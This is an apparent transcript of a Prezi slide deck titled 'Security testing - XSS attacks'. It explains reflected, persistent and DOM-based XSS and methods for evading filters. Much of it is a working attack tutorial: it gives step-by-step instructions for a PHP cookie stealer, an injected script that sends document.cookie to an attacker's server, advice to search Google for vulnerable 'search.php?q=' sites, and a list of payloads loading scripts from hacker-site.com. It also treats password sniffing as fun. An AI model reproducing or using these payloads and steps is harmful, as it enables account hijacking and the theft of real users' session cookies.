Loading presentation...

Present Remotely

Send the link below via email or IM


Present to your audience

Start remote presentation

  • Invited audience members will follow you as you navigate and present
  • People invited to a presentation do not need a Prezi account
  • This link expires 10 minutes after you close the presentation
  • A maximum of 30 users can follow your presentation
  • Learn more about this feature in our knowledge base article

Do you really want to delete this prezi?

Neither you, nor the coeditors you shared it with will be able to recover it again.


Security testing - XSS attacks

No description

Bohdana Shaleva

on 25 December 2014

Comments (0)

Please log in to add your comment.

Report abuse

Transcript of Security testing - XSS attacks

Cross Site Scripting also known as XSS , is one of the most common web application vulnerability that allows an attacker to run his own client side scripts (especially JavaScript) into web pages viewed by other users.
a little bit of practice :)
of XSS attacks:
- passive
Both can be used to breach security if a site has not properly protected against it. The difference is in an active attack a user must initiate the action by following a link, or by submitting a form. The much more dangerous, is passive, which the user need only view a page containing the script in order for it to execute. In which case the user wouldn’t have the chance to know what had happened. Both attacks utilize injecting a script into a page, so it will be executed on a visitor’s machine.
Active XSS:
Active XSS attacks are much more simple to use. Simply writing a well crafted URL and coaxing a user into following it, can be done as simply as using it in a link falsely labeled.
$age = $_GET[’age’];
echo(’You are ’.$age.’ yrs. old.’);
Passive XSS:
The chance of exposure is much less and the potential for victims are much greater as the user does not need to consciously do anything except view the page. The most vulnerable targets for such an attack are guest books, HTML chatrooms, and discussion forums
persistent XSS
Reflected xss
Malicious string originates from the victim's request.
DOM-based XSS
DOM-based XSS is a variant of both persistent and reflected XSS. In a DOM-based XSS attack, the malicious string is not actually parsed by the victim's browser until the website's legitimate JavaScript is executed.
Types of XSS:
Persistent XSS
Reflected XSS
DOM-based XSS
Where the malicious string originates from the website's database
1) The attacker crafts a URL containing a malicious string and sends it to the victim.
2) The victim is tricked by the attacker into requesting the URL from the website.
3) The website includes the malicious string from the URL in the response.
4) The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.
The attacker crafts a URL containing a malicious string and sends it to the victim.
The victim is tricked by the attacker into requesting the URL from the website.
The website receives the request, but does not include the malicious string in the response.
The victim's browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.
The victim's browser executes the malicious script inserted into the page, sending the victim's cookies to the attacker's server.
1) The attacker uses one of the website's forms to insert a malicious string into the website's database.
2) The victim requests a page from the website.
3) The website includes the malicious string from the database in the response and sends it to the victim.
4) The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.
What would be a typical attack pattern for a hacker?
To test for cross-site scripting a hacker would enter special HTML characters such as < and > into an input field of a web application and observe whether they are returned.
If the result displayed shows that special characters are unencoded, the input fields may be vulnerable to cross-site scripting.
That is, the input is transformed in any way or what you must type to properly “frame” your attack string so that the Web browser accepts it.
Depending on what is returned, the attacker will try to get the user’s cookie for the web site to be displayed.
To steal the cookie, an attacker would craft a request to another server, usually an image source, which uses the cookie as part of the filename. This would allow the attacker to send the cookie to some other server under their control.
What is XSS?
Where can you find XSS vulnerabilities?
They are found in search boxes, url’s, signup forms etc. Basically in every text area where you can input something.
How to know is XSS is performed on the site?
The most common vulnerabilities:
Try to enter these scripts into all the fields, if the pop up is displayed - scripts were performed!
But if nothing happened? Than- encrypt the script into ASCII
It's the same as:
How to define if filter is present or not?
Fill into the any field:
Than open HTML page and search for 'fuck' and verify symbols:
< >
are present - filter has a hole.
are displayed as they were entered - filter has a hole
< >
are present in the HTML - PROBABLY filter has a hole
< >
are changed to another symbols - filter is working correctly.
Let's consider the case when no symbols
< >
are displayed - PROBABLY filter has a hole
It's possible that filter has an condition to eat
Than enter
< >
are displayed - you've found a hole!
There are also method of the nested script, as example:
<sc<script>ript>alert()</sc</script>ript> -
it can be used if filter is not so strong or it filters bad.
Another way
as it's possible that filter can count brackets, it's filtered and closed.
Very often filter can complements and close it, what gives as a hole in the filter:
So, filter looks - nothing serious is here and close it with
In the pie-chart it is shown that whilst many different attack methods exist, SQL injection and XSS are the most popular.
In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.
For Example:

Many websites host a support forum where registered users can ask their doubts by posting message , which are stored in the database. Let us imagine , an attacker post a message containing malicious javascript code instead. If the server fail to sanitize the input provided, it results in execution of injected script. The code will be executed whenever a user try to read the post. If suppose the injected code is cookie stealing code, then it will steal cookie of users who read the post. Using the cookie, attacker can take control of your account.
Actors in an XSS attack
serves HTML pages to users who request them. In our examples, it is located at http://website/.

is a database that stores some of the user input included in the website's pages.

is a normal user of the website who requests pages from it using his browser.

is a malicious user of the website who intends to launch an attack on the victim by exploting an XSS vulnerability in the website.

is a web server controlled by the attacker for the sole purpose of stealing the victim's sensitive information. In our examples, it is located at http://attacker/.
- Access computer system or network without authorization
- Break into the systems to steal or destroy data
Ethical Hacker
- Performs most of the breaking activities but with permission from owner
Script Kiddies or packet monkeys
- Inexperienced Hackers with programming language skill
cookie stealing with xss
Cookie stealing is the process of exploiting the XSS vulnerability (Non-persistent/persistent) and steal the cookie from the victim who visit the infected link. These cookie will be used to compromise their accounts.
Step 1: Creating Cookie Stealer PHP file
2) Open Notepad and paste the code
3) Save the file with .php extension. Eg: Stealer.php
4) Now create New file and save it as cookiefile.txt (leave it as blank). Don't change the name , this is the file name what we give in php file.

Now you will have two files:
1. Stealer.php - get cookies and stores the data in log.txt file.
2. cookiefile.txt - has cookies details.
1) Copy the code:
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie ."\\n");
$cookie = $HTTP_GET_VARS["cookie"];
steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.
$steal = fopen("cookiefile.txt", "a");
This open the cookie file in append mode so that we can append the stolen cookie.
fwrite($steal, $cookie ."\\n");
This will store the stolen cookie inside the file.
close the opened file.
Register in a free web-hosting service and login into your cpanel.
Open the File Manager in cpanel.
Upload the Stealer.php and log.txt to root folder or public_html folder.
The stealer should be at hxxp://www.YourSite.com/Stealer.php .
Step 3: Exploiting the XSS Vulnerability
Step 2:
Before I describe how an XSS attack works, we need to define the actors involved in an XSS attack. In general, an XSS attack involves three actors:
the website, the victim, and the attacker.
Let us consider a project hosting website. To find our favorite project, we will just input the related-word in the search box. When searching is finished, it will display a message like this "search results for your word ". If the server fail to sanitize the input properly, it will results in execution of injected script.

In case of reflected XSS attacks, attacker will send the specially-crafted link to victims and trick them into click the link. When user click the link, the browser will send the injected code to server, the server reflects the attack back to the users' browser. The browser then executes the code .
Once you set up everything and find a Vulnerable site, then inject the following code in the Vulnerable sites.
<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>
For example:
Google XSS Game: https://xss-game.appspot.com/
URL Encoding/Decoding: http://www.url-encode-decode.com/
URL encoding: http://www.w3schools.com/tags/ref_urlencode.asp
Simple Cookie Stealing Tutorial: http://www.steve.org.uk/Security/XSS/Tutorial/simple.html
XSS Examples: https://www.xssposed.org/
URL Encoding
URLs can only be sent over the Internet using the ASCII character-set. http://www.ascii.cl/htmlcodes.htm
Since URLs often contain characters outside the ASCII set, the URL has to be converted into a valid ASCII format.
URL encoding replaces unsafe ASCII characters with a "%" followed by two hexadecimal digits.
URLs cannot contain spaces. URL encoding normally replaces a space with a plus (+) sign or with %20.
If encoded URL is too long, instead of the embedding JavaScript-code into the HTTP GET-requests, it's possible to embed it into the JavaScript-file, which is located on the remote server.
NOTE: You can find a lot of tools for encoding/decoding, but also you can use such a site: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
EXAMPLE of URL encoding in XSS Attacks:

Search in Google for

search.php?q= .

Almost all the websites have the vulnerabilities.
Vulnerable Website:
Use online encoder:
Encode JavaScript:

Enter it at the end of the link:

EXAMPLE of URL encoding in XSS Attacks:
Search in Google
search.php?q= .

Vulnerable Website:
Use JavaScript:

Enter it at the end of the link
">You have been hacked<img src=x onerror=prompt(/xssposed/)>
- are programs that intercept all network traffic. Sniffers are useful
for diagnosing network (for admins) and to intercept passwords (for hackers).
For example, if you've got access to a network machine and installed there sniffer, that means that soon all the passwords of their sub-net will be yours.
Sniffers can intercept all packages (what is very inconvenient, but terribly quickly log file becomes full, but for a more detailed analysis of the network that is good) or only the first byte of any ftp, telnet, pop3 etc. (this is the most fun, usually about the first 100 bytes contains the name and password :)).
The <script> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms.
External script -
<script src=http://hacker-site.com/xss.js></script>
Embedded script -
<script> alert(“XSS”); </script>
<body onload=alert("XSS")>
<body background="javascript:alert('XSS')">
<img src="javascript:alert('XSS');">
<iframe src=”http://hacker-site.com/xss.html”>
<input type="image" src="javascript:alert('XSS');">
<link rel="stylesheet" href="javascript:alert('XSS');">
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
<div style="background-image: url(javascript:alert('XSS'))">
More info here

- https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
XSS- worms
HTTP requests can be send in three ways:
HTML tags
DOM objects
XML HTTP Request
Full transcript